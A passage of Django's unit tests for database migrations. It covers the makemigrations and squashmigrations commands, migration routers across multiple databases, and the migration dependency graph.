            call_command("makemigrations", "migrations", interactive=False, stdout=out)
        self.assertIn("Remove field silly_field from sillymodel", force_text(out.getvalue()))
        self.assertIn("Add field silly_rename to sillymodel", force_text(out.getvalue()))

    def test_makemigrations_handle_merge(self):
        """
        Makes sure that makemigrations properly merges the conflicting migrations with --noinput.
        """
        out = six.StringIO()
        with self.temporary_migration_module(module="migrations.test_migrations_conflict") as migration_dir:
            call_command("makemigrations", "migrations", name="merge", merge=True, interactive=False, stdout=out)
            merge_file = os.path.join(migration_dir, '0003_merge.py')
            self.assertTrue(os.path.exists(merge_file))
        output = force_text(out.getvalue())
        self.assertIn("Merging migrations", output)
        self.assertIn("Branch 0002_second", output)
        self.assertIn("Branch 0002_conflicting_second", output)
        self.assertIn("Created new merge migration", output)

    def test_makemigration_merge_dry_run(self):
        """
        Makes sure that makemigrations respects --dry-run option when fixing
        migration conflicts (#24427).
        """
        out = six.StringIO()
        with self.temporary_migration_module(module="migrations.test_migrations_conflict") as migration_dir:
            call_command(
                "makemigrations", "migrations", name="merge", dry_run=True,
                merge=True, interactive=False, stdout=out,
            )
            merge_file = os.path.join(migration_dir, '0003_merge.py')
            self.assertFalse(os.path.exists(merge_file))
        output = force_text(out.getvalue())
        self.assertIn("Merging migrations", output)
        self.assertIn("Branch 0002_second", output)
        self.assertIn("Branch 0002_conflicting_second", output)
        self.assertNotIn("Created new merge migration", output)

    def test_makemigration_merge_dry_run_verbosity_3(self):
        """
        Makes sure that `makemigrations --merge --dry-run` writes the merge
        migration file to stdout with `verbosity == 3` (#24427).
        """
        out = six.StringIO()
        with self.temporary_migration_module(module="migrations.test_migrations_conflict") as migration_dir:
            call_command(
                "makemigrations", "migrations", name="merge", dry_run=True,
                merge=True, interactive=False, stdout=out, verbosity=3,
            )
            merge_file = os.path.join(migration_dir, '0003_merge.py')
            self.assertFalse(os.path.exists(merge_file))
        output = force_text(out.getvalue())
        self.assertIn("Merging migrations", output)
        self.assertIn("Branch 0002_second", output)
        self.assertIn("Branch 0002_conflicting_second", output)
        self.assertNotIn("Created new merge migration", output)

        # Additional output caused by verbosity 3
        # The complete merge migration file that would be written
        self.assertIn("# -*- coding: utf-8 -*-", output)
        self.assertIn("class Migration(migrations.Migration):", output)
        self.assertIn("dependencies = [", output)
        self.assertIn("('migrations', '0002_second')", output)
        self.assertIn("('migrations', '0002_conflicting_second')", output)
        self.assertIn("operations = [", output)
        self.assertIn("]", output)

    def test_makemigrations_dry_run(self):
        """
        Ticket #22676 -- `makemigrations --dry-run` should not ask for defaults.
        """

        class SillyModel(models.Model):
            silly_field = models.BooleanField(default=False)
            silly_date = models.DateField()  # Added field without a default

            class Meta:
                app_label = "migrations"

        out = six.StringIO()
        with self.temporary_migration_module(module="migrations.test_migrations_no_default"):
            call_command("makemigrations", "migrations", dry_run=True, stdout=out)
        # Output the expected changes directly, without asking for defaults
        self.assertIn("Add field silly_date to sillymodel", out.getvalue())

    def test_makemigrations_dry_run_verbosity_3(self):
        """
        Ticket #22675 -- Allow `makemigrations --dry-run` to output the
        migrations file to stdout (with verbosity == 3).
        """

        class SillyModel(models.Model):
            silly_field = models.BooleanField(default=False)
            silly_char = models.CharField(default="")

            class Meta:
                app_label = "migrations"

        out = six.StringIO()
        with self.temporary_migration_module(module="migrations.test_migrations_no_default"):
            call_command("makemigrations", "migrations", dry_run=True, stdout=out, verbosity=3)

        # Normal --dry-run output
        self.assertIn("- Add field silly_char to sillymodel", out.getvalue())

        # Additional output caused by verbosity 3
        # The complete migrations file that would be written
        self.assertIn("# -*- coding: utf-8 -*-", out.getvalue())
        self.assertIn("class Migration(migrations.Migration):", out.getvalue())
        self.assertIn("dependencies = [", out.getvalue())
        self.assertIn("('migrations', '0001_initial'),", out.getvalue())
        self.assertIn("migrations.AddField(", out.getvalue())
        self.assertIn("model_name='sillymodel',", out.getvalue())
        self.assertIn("name='silly_char',", out.getvalue())

    def test_makemigrations_migrations_modules_path_not_exist(self):
        """
        Ticket #22682 -- Makemigrations fails when specifying custom location
        for migration files (using MIGRATION_MODULES) if the custom path
        doesn't already exist.
        """

        class SillyModel(models.Model):
            silly_field = models.BooleanField(default=False)

            class Meta:
                app_label = "migrations"

        out = six.StringIO()
        migration_module = "migrations.test_migrations_path_doesnt_exist.foo.bar"
        with self.temporary_migration_module(module=migration_module) as migration_dir:
            call_command("makemigrations", "migrations", stdout=out)

            # Migrations file is actually created in the expected path.
            initial_file = os.path.join(migration_dir, "0001_initial.py")
            self.assertTrue(os.path.exists(initial_file))

        # Command output indicates the migration is created.
        self.assertIn(" - Create model SillyModel", out.getvalue())

    def test_makemigrations_interactive_by_default(self):
        """
        Makes sure that the user is prompted to merge by default if there are
        conflicts and merge is True. Answer negative to differentiate it from
        behavior when --noinput is specified.
        """
        # Monkeypatch interactive questioner to auto reject
        out = six.StringIO()
        with mock.patch('django.db.migrations.questioner.input', mock.Mock(return_value='N')):
            with self.temporary_migration_module(module="migrations.test_migrations_conflict") as migration_dir:
                call_command("makemigrations", "migrations", name="merge", merge=True, stdout=out)
                merge_file = os.path.join(migration_dir, '0003_merge.py')
                # This will fail if interactive is False by default
                self.assertFalse(os.path.exists(merge_file))
            self.assertNotIn("Created new merge migration", out.getvalue())

    @override_settings(
        INSTALLED_APPS=[
            "migrations",
            "migrations.migrations_test_apps.unspecified_app_with_conflict"])
    def test_makemigrations_unspecified_app_with_conflict_no_merge(self):
        """
        Makes sure that makemigrations does not raise a CommandError when an
        unspecified app has conflicting migrations.
        """
        with self.temporary_migration_module(module="migrations.test_migrations_no_changes"):
            call_command("makemigrations", "migrations", merge=False, verbosity=0)

    @override_settings(
        INSTALLED_APPS=[
            "migrations.migrations_test_apps.migrated_app",
            "migrations.migrations_test_apps.unspecified_app_with_conflict"])
    def test_makemigrations_unspecified_app_with_conflict_merge(self):
        """
        Makes sure that makemigrations does not create a merge for an
        unspecified app even if it has conflicting migrations.
        """
        # Monkeypatch interactive questioner to auto accept
        with mock.patch('django.db.migrations.questioner.input', mock.Mock(return_value='y')):
            out = six.StringIO()
            with self.temporary_migration_module(app_label="migrated_app") as migration_dir:
                call_command("makemigrations", "migrated_app", name="merge", merge=True, interactive=True, stdout=out)
                merge_file = os.path.join(migration_dir, '0003_merge.py')
                self.assertFalse(os.path.exists(merge_file))
            self.assertIn("No conflicts detected to merge.", out.getvalue())

    @override_settings(
        INSTALLED_APPS=[
            "migrations.migrations_test_apps.migrated_app",
            "migrations.migrations_test_apps.conflicting_app_with_dependencies"])
    def test_makemigrations_merge_dont_output_dependency_operations(self):
        """
        Makes sure that makemigrations --merge does not output any operations
        from apps that don't belong to a given app.
        """
        # Monkeypatch interactive questioner to auto accept
        with mock.patch('django.db.migrations.questioner.input', mock.Mock(return_value='N')):
            out = six.StringIO()
            with mock.patch('django.core.management.color.supports_color', lambda *args: False):
                call_command(
                    "makemigrations", "conflicting_app_with_dependencies",
                    merge=True, interactive=True, stdout=out
                )
            val = out.getvalue().lower()
            self.assertIn('merging conflicting_app_with_dependencies\n', val)
            self.assertIn(
                '  branch 0002_conflicting_second\n'
                '    - create model something\n',
                val
            )
            self.assertIn(
                '  branch 0002_second\n'
                '    - delete model tribble\n'
                '    - remove field silly_field from author\n'
                '    - add field rating to author\n'
                '    - create model book\n',
                val
            )

    def test_makemigrations_with_custom_name(self):
        """
        Makes sure that makemigrations generate a custom migration.
        """
        with self.temporary_migration_module() as migration_dir:

            def cmd(migration_count, migration_name, *args):
                call_command("makemigrations", "migrations", "--verbosity", "0", "--name", migration_name, *args)
                migration_file = os.path.join(migration_dir, "%s_%s.py" % (migration_count, migration_name))
                # Check for existing migration file in migration folder
                self.assertTrue(os.path.exists(migration_file))
                with codecs.open(migration_file, "r", encoding="utf-8") as fp:
                    content = fp.read()
                    self.assertIn("# -*- coding: utf-8 -*-", content)
                    content = content.replace(" ", "")
                return content

            # generate an initial migration
            migration_name_0001 = "my_initial_migration"
            content = cmd("0001", migration_name_0001)
            self.assertIn("dependencies=[\n]", content)

            # Python 3 importlib caches os.listdir() on some platforms like
            # Mac OS X (#23850).
            if hasattr(importlib, 'invalidate_caches'):
                importlib.invalidate_caches()

            # generate an empty migration
            migration_name_0002 = "my_custom_migration"
            content = cmd("0002", migration_name_0002, "--empty")
            self.assertIn("dependencies=[\n('migrations','0001_%s'),\n]" % migration_name_0001, content)
            self.assertIn("operations=[\n]", content)

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_makemigrations_exit(self):
        """
        makemigrations --exit should exit with sys.exit(1) when there are no
        changes to an app.
        """
        with self.temporary_migration_module():
            call_command("makemigrations", "--exit", "migrations", verbosity=0)

        with self.temporary_migration_module(module="migrations.test_migrations_no_changes"):
            with self.assertRaises(SystemExit):
                call_command("makemigrations", "--exit", "migrations", verbosity=0)

    def test_makemigrations_check(self):
        """
        makemigrations --check should exit with a non-zero status when
        there are changes to an app requiring migrations.
        """
        with self.temporary_migration_module():
            with self.assertRaises(SystemExit):
                call_command("makemigrations", "--check", "migrations", verbosity=0)

        with self.temporary_migration_module(module="migrations.test_migrations_no_changes"):
            call_command("makemigrations", "--check", "migrations", verbosity=0)

    def test_makemigrations_migration_path_output(self):
        """
        makemigrations should print the relative paths to the migrations unless
        they are outside of the current tree, in which case the absolute path
        should be shown.
        """
        out = six.StringIO()
        apps.register_model('migrations', UnicodeModel)
        with self.temporary_migration_module() as migration_dir:
            call_command("makemigrations", "migrations", stdout=out)
            self.assertIn(os.path.join(migration_dir, '0001_initial.py'), out.getvalue())

    def test_makemigrations_inconsistent_history(self):
        """
        makemigrations should raise InconsistentMigrationHistory exception if
        there are some migrations applied before their dependencies.
        """
        recorder = MigrationRecorder(connection)
        recorder.record_applied('migrations', '0002_second')
        msg = "Migration migrations.0002_second is applied before its dependency migrations.0001_initial"
        with self.temporary_migration_module(module="migrations.test_migrations"):
            with self.assertRaisesMessage(InconsistentMigrationHistory, msg):
                call_command("makemigrations")

    @mock.patch('django.db.migrations.questioner.input', return_value='1')
    @mock.patch('django.db.migrations.questioner.sys.stdin', mock.MagicMock(encoding=sys.getdefaultencoding()))
    def test_makemigrations_auto_now_add_interactive(self, *args):
        """
        makemigrations prompts the user when adding auto_now_add to an existing
        model.
        """
        class Entry(models.Model):
            title = models.CharField(max_length=255)
            creation_date = models.DateTimeField(auto_now_add=True)

            class Meta:
                app_label = 'migrations'

        # Monkeypatch interactive questioner to auto accept
        with mock.patch('django.db.migrations.questioner.sys.stdout', new_callable=six.StringIO) as prompt_stdout:
            out = six.StringIO()
            with self.temporary_migration_module(module='migrations.test_auto_now_add'):
                call_command('makemigrations', 'migrations', interactive=True, stdout=out)
            output = force_text(out.getvalue())
            prompt_output = force_text(prompt_stdout.getvalue())
            self.assertIn("You can accept the default 'timezone.now' by pressing 'Enter'", prompt_output)
            self.assertIn("Add field creation_date to entry", output)


class SquashMigrationsTests(MigrationTestBase):
    """
    Tests running the squashmigrations command.
    """

    def test_squashmigrations_squashes(self):
        """
        Tests that squashmigrations squashes migrations.
        """
        with self.temporary_migration_module(module="migrations.test_migrations") as migration_dir:
            call_command("squashmigrations", "migrations", "0002", interactive=False, verbosity=0)

            squashed_migration_file = os.path.join(migration_dir, "0001_squashed_0002_second.py")
            self.assertTrue(os.path.exists(squashed_migration_file))

    def test_squashmigrations_initial_attribute(self):
        with self.temporary_migration_module(module="migrations.test_migrations") as migration_dir:
            call_command("squashmigrations", "migrations", "0002", interactive=False, verbosity=0)

            squashed_migration_file = os.path.join(migration_dir, "0001_squashed_0002_second.py")
            with codecs.open(squashed_migration_file, "r", encoding="utf-8") as fp:
                content = fp.read()
                self.assertIn("initial = True", content)

    def test_squashmigrations_optimizes(self):
        """
        Tests that squashmigrations optimizes operations.
        """
        out = six.StringIO()
        with self.temporary_migration_module(module="migrations.test_migrations"):
            call_command("squashmigrations", "migrations", "0002", interactive=False, verbosity=1, stdout=out)
        self.assertIn("Optimized from 8 operations to 3 operations.", force_text(out.getvalue()))

    def test_ticket_23799_squashmigrations_no_optimize(self):
        """
        Makes sure that squashmigrations --no-optimize really doesn't optimize operations.
        """
        out = six.StringIO()
        with self.temporary_migration_module(module="migrations.test_migrations"):
            call_command("squashmigrations", "migrations", "0002",
                         interactive=False, verbosity=1, no_optimize=True, stdout=out)
        self.assertIn("Skipping optimization", force_text(out.getvalue()))

    def test_squashmigrations_valid_start(self):
        """
        squashmigrations accepts a starting migration.
        """
        out = six.StringIO()
        with self.temporary_migration_module(module="migrations.test_migrations_no_changes") as migration_dir:
            call_command("squashmigrations", "migrations", "0002", "0003",
                         interactive=False, verbosity=1, stdout=out)

            squashed_migration_file = os.path.join(migration_dir, "0002_second_squashed_0003_third.py")
            with codecs.open(squashed_migration_file, "r", encoding="utf-8") as fp:
                content = fp.read()
                self.assertIn("        ('migrations', '0001_initial')", content)
                self.assertNotIn("initial = True", content)
        out = force_text(out.getvalue())
        self.assertNotIn(" - 0001_initial", out)
        self.assertIn(" - 0002_second", out)
        self.assertIn(" - 0003_third", out)

    def test_squashmigrations_invalid_start(self):
        """
        squashmigrations doesn't accept a starting migration after the ending migration.
        """
        with self.temporary_migration_module(module="migrations.test_migrations_no_changes"):
            msg = (
                "The migration 'migrations.0003_third' cannot be found. Maybe "
                "it comes after the migration 'migrations.0002_second'"
            )
            with self.assertRaisesMessage(CommandError, msg):
                call_command("squashmigrations", "migrations", "0003", "0002", interactive=False, verbosity=0)






import unittest

from django.db import connection, migrations, models
from django.db.migrations.state import ProjectState
from django.test import override_settings

from .test_operations import OperationTestBase

try:
    import sqlparse
except ImportError:
    sqlparse = None


class AgnosticRouter(object):
    """
    A router that doesn't have an opinion regarding migrating.
    """
    def allow_migrate(self, db, app_label, **hints):
        return None


class MigrateNothingRouter(object):
    """
    A router that doesn't allow migrating.
    """
    def allow_migrate(self, db, app_label, **hints):
        return False


class MigrateEverythingRouter(object):
    """
    A router that always allows migrating.
    """
    def allow_migrate(self, db, app_label, **hints):
        return True


class MigrateWhenFooRouter(object):
    """
    A router that allows migrating depending on a hint.
    """
    def allow_migrate(self, db, app_label, **hints):
        return hints.get('foo', False)


class MultiDBOperationTests(OperationTestBase):
    multi_db = True

    def _test_create_model(self, app_label, should_run):
        """
        Tests that CreateModel honours multi-db settings.
        """
        operation = migrations.CreateModel(
            "Pony",
            [("id", models.AutoField(primary_key=True))],
        )
        # Test the state alteration
        project_state = ProjectState()
        new_state = project_state.clone()
        operation.state_forwards(app_label, new_state)
        # Test the database alteration
        self.assertTableNotExists("%s_pony" % app_label)
        with connection.schema_editor() as editor:
            operation.database_forwards(app_label, editor, project_state, new_state)
        if should_run:
            self.assertTableExists("%s_pony" % app_label)
        else:
            self.assertTableNotExists("%s_pony" % app_label)
        # And test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards(app_label, editor, new_state, project_state)
        self.assertTableNotExists("%s_pony" % app_label)

    @override_settings(DATABASE_ROUTERS=[AgnosticRouter()])
    def test_create_model(self):
        """
        Test when router doesn't have an opinion (i.e. CreateModel should run).
        """
        self._test_create_model("test_mltdb_crmo", should_run=True)

    @override_settings(DATABASE_ROUTERS=[MigrateNothingRouter()])
    def test_create_model2(self):
        """
        Test when router returns False (i.e. CreateModel shouldn't run).
        """
        self._test_create_model("test_mltdb_crmo2", should_run=False)

    @override_settings(DATABASE_ROUTERS=[MigrateEverythingRouter()])
    def test_create_model3(self):
        """
        Test when router returns True (i.e. CreateModel should run).
        """
        self._test_create_model("test_mltdb_crmo3", should_run=True)

    def test_create_model4(self):
        """
        Test multiple routers.
        """
        with override_settings(DATABASE_ROUTERS=[AgnosticRouter(), AgnosticRouter()]):
            self._test_create_model("test_mltdb_crmo4", should_run=True)
        with override_settings(DATABASE_ROUTERS=[MigrateNothingRouter(), MigrateEverythingRouter()]):
            self._test_create_model("test_mltdb_crmo4", should_run=False)
        with override_settings(DATABASE_ROUTERS=[MigrateEverythingRouter(), MigrateNothingRouter()]):
            self._test_create_model("test_mltdb_crmo4", should_run=True)

    def _test_run_sql(self, app_label, should_run, hints=None):
        with override_settings(DATABASE_ROUTERS=[MigrateEverythingRouter()]):
            project_state = self.set_up_test_model(app_label)

        sql = """
        INSERT INTO {0}_pony (pink, weight) VALUES (1, 3.55);
        INSERT INTO {0}_pony (pink, weight) VALUES (3, 5.0);
        """.format(app_label)

        operation = migrations.RunSQL(sql, hints=hints or {})
        # Test the state alteration does nothing
        new_state = project_state.clone()
        operation.state_forwards(app_label, new_state)
        self.assertEqual(new_state, project_state)
        # Test the database alteration
        self.assertEqual(project_state.apps.get_model(app_label, "Pony").objects.count(), 0)
        with connection.schema_editor() as editor:
            operation.database_forwards(app_label, editor, project_state, new_state)
        Pony = project_state.apps.get_model(app_label, "Pony")
        if should_run:
            self.assertEqual(Pony.objects.count(), 2)
        else:
            self.assertEqual(Pony.objects.count(), 0)

    @unittest.skipIf(sqlparse is None and connection.features.requires_sqlparse_for_splitting, "Missing sqlparse")
    @override_settings(DATABASE_ROUTERS=[MigrateNothingRouter()])
    def test_run_sql(self):
        self._test_run_sql("test_mltdb_runsql", should_run=False)

    @unittest.skipIf(sqlparse is None and connection.features.requires_sqlparse_for_splitting, "Missing sqlparse")
    @override_settings(DATABASE_ROUTERS=[MigrateWhenFooRouter()])
    def test_run_sql2(self):
        self._test_run_sql("test_mltdb_runsql2", should_run=False)
        self._test_run_sql("test_mltdb_runsql2", should_run=True, hints={'foo': True})

    def _test_run_python(self, app_label, should_run, hints=None):
        with override_settings(DATABASE_ROUTERS=[MigrateEverythingRouter()]):
            project_state = self.set_up_test_model(app_label)

        # Create the operation
        def inner_method(models, schema_editor):
            Pony = models.get_model(app_label, "Pony")
            Pony.objects.create(pink=1, weight=3.55)
            Pony.objects.create(weight=5)

        operation = migrations.RunPython(inner_method, hints=hints or {})
        # Test the state alteration does nothing
        new_state = project_state.clone()
        operation.state_forwards(app_label, new_state)
        self.assertEqual(new_state, project_state)
        # Test the database alteration
        self.assertEqual(project_state.apps.get_model(app_label, "Pony").objects.count(), 0)
        with connection.schema_editor() as editor:
            operation.database_forwards(app_label, editor, project_state, new_state)
        Pony = project_state.apps.get_model(app_label, "Pony")
        if should_run:
            self.assertEqual(Pony.objects.count(), 2)
        else:
            self.assertEqual(Pony.objects.count(), 0)

    @override_settings(DATABASE_ROUTERS=[MigrateNothingRouter()])
    def test_run_python(self):
        self._test_run_python("test_mltdb_runpython", should_run=False)

    @override_settings(DATABASE_ROUTERS=[MigrateWhenFooRouter()])
    def test_run_python2(self):
        self._test_run_python("test_mltdb_runpython2", should_run=False)
        self._test_run_python("test_mltdb_runpython2", should_run=True, hints={'foo': True})












import warnings

from django.db.migrations.exceptions import (
    CircularDependencyError, NodeNotFoundError,
)
from django.db.migrations.graph import RECURSION_DEPTH_WARNING, MigrationGraph
from django.test import SimpleTestCase
from django.utils.encoding import force_text


class GraphTests(SimpleTestCase):
    """
    Tests the digraph structure.
    """

    def test_simple_graph(self):
        """
        Tests a basic dependency graph:

        app_a:  0001 <-- 0002 <--- 0003 <-- 0004
                                 /
        app_b:  0001 <-- 0002 <-/
        """
        # Build graph
        graph = MigrationGraph()
        graph.add_node(("app_a", "0001"), None)
        graph.add_node(("app_a", "0002"), None)
        graph.add_node(("app_a", "0003"), None)
        graph.add_node(("app_a", "0004"), None)
        graph.add_node(("app_b", "0001"), None)
        graph.add_node(("app_b", "0002"), None)
        graph.add_dependency("app_a.0004", ("app_a", "0004"), ("app_a", "0003"))
        graph.add_dependency("app_a.0003", ("app_a", "0003"), ("app_a", "0002"))
        graph.add_dependency("app_a.0002", ("app_a", "0002"), ("app_a", "0001"))
        graph.add_dependency("app_a.0003", ("app_a", "0003"), ("app_b", "0002"))
        graph.add_dependency("app_b.0002", ("app_b", "0002"), ("app_b", "0001"))
        # Test root migration case
        self.assertEqual(
            graph.forwards_plan(("app_a", "0001")),
            [('app_a', '0001')],
        )
        # Test branch B only
        self.assertEqual(
            graph.forwards_plan(("app_b", "0002")),
            [("app_b", "0001"), ("app_b", "0002")],
        )
        # Test whole graph
        self.assertEqual(
            graph.forwards_plan(("app_a", "0004")),
            [
                ('app_b', '0001'), ('app_b', '0002'), ('app_a', '0001'),
                ('app_a', '0002'), ('app_a', '0003'), ('app_a', '0004'),
            ],
        )
        # Test reverse to b:0002
        self.assertEqual(
            graph.backwards_plan(("app_b", "0002")),
            [('app_a', '0004'), ('app_a', '0003'), ('app_b', '0002')],
        )
        # Test roots and leaves
        self.assertEqual(
            graph.root_nodes(),
            [('app_a', '0001'), ('app_b', '0001')],
        )
        self.assertEqual(
            graph.leaf_nodes(),
            [('app_a', '0004'), ('app_b', '0002')],
        )

    def test_complex_graph(self):
        """
        Tests a complex dependency graph:

        app_a:  0001 <-- 0002 <--- 0003 <-- 0004
                      \        \ /         /
        app_b:  0001 <-\ 0002 <-X         /
                      \          \       /
        app_c:         \ 0001 <-- 0002 <-
        """
        # Build graph
        graph = MigrationGraph()
        graph.add_node(("app_a", "0001"), None)
        graph.add_node(("app_a", "0002"), None)
        graph.add_node(("app_a", "0003"), None)
        graph.add_node(("app_a", "0004"), None)
        graph.add_node(("app_b", "0001"), None)
        graph.add_node(("app_b", "0002"), None)
        graph.add_node(("app_c", "0001"), None)
        graph.add_node(("app_c", "0002"), None)
        graph.add_dependency("app_a.0004", ("app_a", "0004"), ("app_a", "0003"))
        graph.add_dependency("app_a.0003", ("app_a", "0003"), ("app_a", "0002"))
        graph.add_dependency("app_a.0002", ("app_a", "0002"), ("app_a", "0001"))
        graph.add_dependency("app_a.0003", ("app_a", "0003"), ("app_b", "0002"))
        graph.add_dependency("app_b.0002", ("app_b", "0002"), ("app_b", "0001"))
        graph.add_dependency("app_a.0004", ("app_a", "0004"), ("app_c", "0002"))
        graph.add_dependency("app_c.0002", ("app_c", "0002"), ("app_c", "0001"))
        graph.add_dependency("app_c.0001", ("app_c", "0001"), ("app_b", "0001"))
        graph.add_dependency("app_c.0002", ("app_c", "0002"), ("app_a", "0002"))
        # Test branch C only
        self.assertEqual(
            graph.forwards_plan(("app_c", "0002")),
            [('app_b', '0001'), ('app_c', '0001'), ('app_a', '0001'), ('app_a', '0002'), ('app_c', '0002')],
        )
        # Test whole graph
        self.assertEqual(
            graph.forwards_plan(("app_a", "0004")),
            [
                ('app_b', '0001'), ('app_c', '0001'), ('app_a', '0001'),
                ('app_a', '0002'), ('app_c', '0002'), ('app_b', '0002'),
                ('app_a', '0003'), ('app_a', '0004'),
            ],
        )
        # Test reverse to b:0001
        self.assertEqual(
            graph.backwards_plan(("app_b", "0001")),
            [
                ('app_a', '0004'), ('app_c', '0002'), ('app_c', '0001'),
                ('app_a', '0003'), ('app_b', '0002'), ('app_b', '0001'),
            ],
        )
        # Test roots and leaves
        self.assertEqual(
            graph.root_nodes(),
            [('app_a', '0001'), ('app_b', '0001'), ('app_c', '0001')],
        )
        self.assertEqual(
            graph.leaf_nodes(),
            [('app_a', '0004'), ('app_b', '0002'), ('app_c', '0002')],
        )

    def test_circular_graph(self):
        """
        Tests a circular dependency graph.
        """
        # Build graph
        graph = MigrationGraph()
        graph.add_node(("app_a", "0001"), None)
        graph.add_node(("app_a", "0002"), None)
        graph.add_node(("app_a", "0003"), None)
        graph.add_node(("app_b", "0001"), None)
        graph.add_node(("app_b", "0002"), None)
        graph.add_dependency("app_a.0003", ("app_a", "0003"), ("app_a", "0002"))
        graph.add_dependency("app_a.0002", ("app_a", "0002"), ("app_a", "0001"))
        graph.add_dependency("app_a.0001", ("app_a", "0001"), ("app_b", "0002"))
        graph.add_dependency("app_b.0002", ("app_b", "0002"), ("app_b", "0001"))
        graph.add_dependency("app_b.0001", ("app_b", "0001"), ("app_a", "0003"))
        # Test whole graph
        with self.assertRaises(CircularDependencyError):
            graph.forwards_plan(("app_a", "0003"), )

    def test_circular_graph_2(self):
        graph = MigrationGraph()
        graph.add_node(('A', '0001'), None)
        graph.add_node(('C', '0001'), None)
        graph.add_node(('B', '0001'), None)
        graph.add_dependency('A.0001', ('A', '0001'), ('B', '0001'))
        graph.add_dependency('B.0001', ('B', '0001'), ('A', '0001'))
        graph.add_dependency('C.0001', ('C', '0001'), ('B', '0001'))

        with self.assertRaises(CircularDependencyError):
            graph.forwards_plan(('C', '0001'))

    def test_graph_recursive(self):
        graph = MigrationGraph()
        root = ("app_a", "1")
        graph.add_node(root, None)
        expected = [root]
        for i in range(2, 750):
            parent = ("app_a", str(i - 1))
            child = ("app_a", str(i))
            graph.add_node(child, None)
            graph.add_dependency(str(i), child, parent)
            expected.append(child)
        leaf = expected[-1]

        forwards_plan = graph.forwards_plan(leaf)
        self.assertEqual(expected, forwards_plan)

        backwards_plan = graph.backwards_plan(root)
        self.assertEqual(expected[::-1], backwards_plan)

    def test_graph_iterative(self):
        graph = MigrationGraph()
        root = ("app_a", "1")
        graph.add_node(root, None)
        expected = [root]
        for i in range(2, 1000):
            parent = ("app_a", str(i - 1))
            child = ("app_a", str(i))
            graph.add_node(child, None)
            graph.add_dependency(str(i), child, parent)
            expected.append(child)
        leaf = expected[-1]

        with warnings.catch_warnings(record=True) as w:
            warnings.simplefilter('always', RuntimeWarning)
            forwards_plan = graph.forwards_plan(leaf)

        self.assertEqual(len(w), 1)
        self.assertTrue(issubclass(w[-1].category, RuntimeWarning))
        self.assertEqual(str(w[-1].message), RECURSION_DEPTH_WARNING)
        self.assertEqual(expected, forwards_plan)

        with warnings.catch_warnings(record=True) as w:
            warnings.simplefilter('always', RuntimeWarning)
            backwards_plan = graph.backwards_plan(root)

        self.assertEqual(len(w), 1)
        self.assertTrue(issubclass(w[-1].category, RuntimeWarning))
        self.assertEqual(str(w[-1].message), RECURSION_DEPTH_WARNING)
        self.assertEqual(expected[::-1], backwards_plan)

    def test_plan_invalid_node(self):
        """
        Tests for forwards/backwards_plan of nonexistent node.
        """
        graph = MigrationGraph()
        message = "Node ('app_b', '0001') not a valid node"

        with self.assertRaisesMessage(NodeNotFoundError, message):
            graph.forwards_plan(("app_b", "0001"))

        with self.assertRaisesMessage(NodeNotFoundError, message):
            graph.backwards_plan(("app_b", "0001"))

    def test_missing_parent_nodes(self):
        """
        Tests for missing parent nodes.
        """
        # Build graph
        graph = MigrationGraph()
        graph.add_node(("app_a", "0001"), None)
        graph.add_node(("app_a", "0002"), None)
        graph.add_node(("app_a", "0003"), None)
        graph.add_node(("app_b", "0001"), None)
        graph.add_dependency("app_a.0003", ("app_a", "0003"), ("app_a", "0002"))
        graph.add_dependency("app_a.0002", ("app_a", "0002"), ("app_a", "0001"))
        msg = "Migration app_a.0001 dependencies reference nonexistent parent node ('app_b', '0002')"
        with self.assertRaisesMessage(NodeNotFoundError, msg):
            graph.add_dependency("app_a.0001", ("app_a", "0001"), ("app_b", "0002"))

    def test_missing_child_nodes(self):
        """
        Tests for missing child nodes.
        """
        # Build graph
        graph = MigrationGraph()
        graph.add_node(("app_a", "0001"), None)
        msg = "Migration app_a.0002 dependencies reference nonexistent child node ('app_a', '0002')"
        with self.assertRaisesMessage(NodeNotFoundError, msg):
            graph.add_dependency("app_a.0002", ("app_a", "0002"), ("app_a", "0001"))

    def test_validate_consistency(self):
        """
        Tests for missing nodes, using `validate_consistency()` to raise the error.
        """
        # Build graph
        graph = MigrationGraph()
        graph.add_node(("app_a", "0001"), None)
        # Add dependency with missing parent node (skipping validation).
        graph.add_dependency("app_a.0001", ("app_a", "0001"), ("app_b", "0002"), skip_validation=True)
        msg = "Migration app_a.0001 dependencies reference nonexistent parent node ('app_b', '0002')"
        with self.assertRaisesMessage(NodeNotFoundError, msg):
            graph.validate_consistency()
        # Add missing parent node and ensure `validate_consistency()` no longer raises error.
        graph.add_node(("app_b", "0002"), None)
        graph.validate_consistency()
        # Add dependency with missing child node (skipping validation).
        graph.add_dependency("app_a.0002", ("app_a", "0002"), ("app_a", "0001"), skip_validation=True)
        msg = "Migration app_a.0002 dependencies reference nonexistent child node ('app_a', '0002')"
        with self.assertRaisesMessage(NodeNotFoundError, msg):
            graph.validate_consistency()
        # Add missing child node and ensure `validate_consistency()` no longer raises error.
        graph.add_node(("app_a", "0002"), None)
        graph.validate_consistency()
        # Rawly add dummy node.
        msg = "app_a.0001 (req'd by app_a.0002) is missing!"
        graph.add_dummy_node(
            key=("app_a", "0001"),
            origin="app_a.0002",
            error_message=msg
        )
        with self.assertRaisesMessage(NodeNotFoundError, msg):
            graph.validate_consistency()

    def test_remove_replaced_nodes(self):
        """
        Tests that replaced nodes are properly removed and dependencies remapped.
        """
        # Add some dummy nodes to be replaced.
        graph = MigrationGraph()
        graph.add_dummy_node(key=("app_a", "0001"), origin="app_a.0002", error_message="BAD!")
        graph.add_dummy_node(key=("app_a", "0002"), origin="app_b.0001", error_message="BAD!")
        graph.add_dependency("app_a.0002", ("app_a", "0002"), ("app_a", "0001"), skip_validation=True)
        # Add some normal parent and child nodes to test dependency remapping.
        graph.add_node(("app_c", "0001"), None)
        graph.add_node(("app_b", "0001"), None)
        graph.add_dependency("app_a.0001", ("app_a", "0001"), ("app_c", "0001"), skip_validation=True)
        graph.add_dependency("app_b.0001", ("app_b", "0001"), ("app_a", "0002"), skip_validation=True)
        # Try replacing before replacement node exists.
        msg = (
            "Unable to find replacement node ('app_a', '0001_squashed_0002'). It was either"
            " never added to the migration graph, or has been removed."
        )
        with self.assertRaisesMessage(NodeNotFoundError, msg):
            graph.remove_replaced_nodes(
                replacement=("app_a", "0001_squashed_0002"),
                replaced=[("app_a", "0001"), ("app_a", "0002")]
            )
        graph.add_node(("app_a", "0001_squashed_0002"), None)
        # Ensure `validate_consistency()` still raises an error at this stage.
        with self.assertRaisesMessage(NodeNotFoundError, "BAD!"):
            graph.validate_consistency()
        # Remove the dummy nodes.
